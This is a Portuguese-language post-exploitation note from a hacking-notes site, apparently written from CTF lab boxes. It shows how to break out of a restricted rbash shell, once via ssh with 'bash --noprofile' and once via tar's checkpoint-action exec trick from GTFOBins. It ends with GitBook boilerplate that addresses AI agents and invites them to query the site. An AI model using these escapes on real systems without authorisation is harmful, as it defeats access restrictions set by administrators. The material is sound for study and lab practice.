> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/post-exploitation/escaping-rbash-to-normal-bash-linux.md).

# Sair do RBash para Bash normal

### SSH rbash :

Usuário `mindy` está atualmente usando um `rbash` shell que restringe a execução de muitos comandos.

<figure><img src="/files/b0ed51bfd0dd91177e7eff615f9c49c7b74e2f76" alt=""><figcaption></figcaption></figure>

Para contornar essa restrição, podemos usar o comando que exige a conexão SSH para obter um shell Bash:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/318db136aaf242835e2c937a7f56ebd90f964f4b" alt=""><figcaption></figcaption></figure>

### **Burlar o rbash - tar**

Fazemos login como Ayush, mas estamos limitados a um `rbash` shell.

<figure><img src="/files/c9d277cc6e4df44f212ba1785ddbb1e2c2e18aba" alt=""><figcaption></figcaption></figure>

Lista de comandos disponíveis:

```bash
compgen -c
```

Encontramos `tar` e burlamos `rbash` com:

<figure><img src="/files/e3567e75eae49a293eb3db0be209f2ffc2fd983a" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/6d7e9caf0d9aca3c3abe8784a6b6fe25d9d85ca0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/post-exploitation/escaping-rbash-to-normal-bash-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
